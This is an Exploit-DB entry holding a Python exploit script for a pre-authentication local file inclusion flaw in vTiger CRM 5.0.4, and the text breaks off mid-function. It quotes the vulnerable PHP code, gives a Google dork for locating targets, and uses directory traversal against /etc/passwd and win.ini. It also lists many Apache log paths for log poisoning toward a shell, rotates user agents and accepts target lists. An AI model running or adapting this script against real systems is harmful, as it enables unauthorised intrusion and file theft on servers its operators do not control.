Exploit-DB #16280
Description: vTiger CRM 5.0.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-03-05
Author: TecR0c

Exploit:
#!/usr/bin/python
# ~INFORMATION:									#
# Exploit Title:	Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit  #
# Google Dork:		"The honest Open Source CRM" "vtiger CRM 5.0.4"		#
# Date: 		5/3/2011						#
# CVE:			CVE-2009-3249						#
# Windows link:		http://bit.ly/fiOYCL					#
# Linux link:		http://bit.ly/hluzLf					#
# Tested on:		Windows XP/Linux Ubuntu					#
# PHP.ini Settings:	gpc_magic_quotes = Off					#
# Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt	#
# Creds: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco	#
# "ascii" Ongaro are credited with the discovery of this vulnerability.		#
# Greetz: mr_me, sud0, sinn3r & my other fellow hackers				#
# Note: Loading URL files may require tampering of code ;-)			#

# ~VULNERABLE CODE:
'''
if(isset($_REQUEST['action']) && isset($_REQUEST['module']))
{
        $action = $_REQUEST['action'];
        $current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php';
        $current_module = $_REQUEST['module'];
}
elseif(isset($_REQUEST['module']))
{
	$current_module = $_REQUEST['module'];
	$current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php';
}
else {
    exit();
...
...
...
require_once($current_module_file);
'''
# ~EXPLOIT:
import linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass
from optparse import OptionParser
from urlparse import urlparse,urljoin
from urllib import urlopen

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
__DATE__ ="3.3.2011"
__VERSION__ = "1.0"

# Options for running script
usage = "\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080" % __file__
parser = OptionParser(usage=usage)
parser.add_option("-p","--p", type="string",action="store", dest="proxy",
        help="HTTP Proxy <server>:<port>")
parser.add_option("-f","--f", type="string",action="store", dest="file",
        help="Input list of target URLS")
parser.add_option("-P","--P",type="int",action='store', default="80", dest="port",
        help="Choose Port [Default: %default]")

(options, args) = parser.parse_args()

numlines=0
# Parameter for command execution
vulnWebPage = "graph.php?module="
# Loca File inclusion path
lfi = "../../../../../../../../../"
# OS Linux detection
linuxOS = "etc/passwd"
# OS Windows Detection
windowsOS = "windows/win.ini"
# Windows default non-IIS setup access log file for vtiger
winLogs = "../../../logs/access.log"
# Windows Vtiger Instllation PHP Info file
vtPlatformLog = "../logs/platform.log"
# Linux Log files
lnxLogs =['/var/log/access_log',
        '/var/log/access.log',
        '/var/log/apache2/access_log',
        '/var/log/apache2/access.log',
        '/var/log/apache2/error_log',
        '/var/log/apache2/error.log',
        '/var/log/apache/access_log',
        '/var/log/apache/access.log',
        '/var/log/apache/error_log',
        '/var/log/apache/error.log',
        '/var/log/user.log',
        '/var/log/user.log.1',
        '/apache/logs/access.log',
        '/apache/logs/error.log',
        '/etc/httpd/logs/acces_log',
        '/etc/httpd/logs/acces.log',
        '/etc/httpd/logs/access_log',
        '/etc/httpd/logs/access.log',
        '/etc/httpd/logs/error_log',
        '/etc/httpd/logs/error.log',
        '/usr/local/apache2/logs/access_log',
        '/usr/local/apache2/logs/access.log',
        '/usr/local/apache2/logs/error_log',
        '/usr/local/apache2/logs/error.log',
        '/usr/local/apache/logs/access_log',
        '/usr/local/apache/logs/access.log',
        '/usr/local/apache/logs/error_log',
        '/usr/local/apache/logs/error.log'
	'/logs/access.log',
        '/logs/error.log',
	'/var/log/error_log',
        '/var/log/error.log',
        '/var/log/httpd/access_log',
        '/var/log/httpd/access.log',
        '/var/log/httpd/error_log',
        '/var/log/httpd/error.log',
        '/var/www/logs/access_log',
        '/var/www/logs/access.log',
        '/var/www/logs/error_log',
        '/var/www/logs/error.log']
# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
        "Google Chrome 0.2.149.29 (Windows XP)",
        "Opera 9.25 (Windows Vista)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)

def banner(): 
    if os.name == "posix": 
        os.system("clear") 
    else: 
        os.system("cls") 
    header = '''
 ____   _______________.___  _____________________________ 	
 \   \ /   /\__    ___/|   |/  _____/\_   _____/\______   \	
  \   Y   /   |    |   |   /   \  ___ |    __)_  |       _/	
   \     /    |    |   |   \    \_\  \|        \ |    |   \	
    \___/     |____|   |___|\______  /_______  / |____|_  /	
                      __,,,,_                                              
       _ __..-;''`--/'/ /.',-`-. 
   (`/' ` |  \ \ \ / / / / .-'/`,_   Version 5.0.4                              
  /'`\ \   |  \ | \| // // / -.,/_,'-,                                     
 /<7' ;  \ \  | ; ||/ /| | \/    |`-/,/-.,_,/')                            
/  _.-, `,-\,__|  _-| / \ \/|_/  |    '-/.;.''                             
`-`  f/ ;      / __/ \__ `/ |__/ |                                         
     `-'      |  -| =|\_  \  |-' | %s            
           __/   /_..-' `  ),'  // Date %s
          ((__.-'((___..-'' \__.'

'''%(__CONTACT__,__DATE__)
    for i in header: 
        print "\b%s"%i, 
        sys.stdout.flush() 
        time.sleep(0.003) 

# Written to clean up shell output
def cleanUp(response):
	""" Comment or Uncomment if you want to filter the unwanted text returned in logs """
	response = re.sub('<b(.*)',"", response)
	response = re.sub("Fatal error(.*)","", response)
	response = re.sub("Warning(.*)","", response)
	res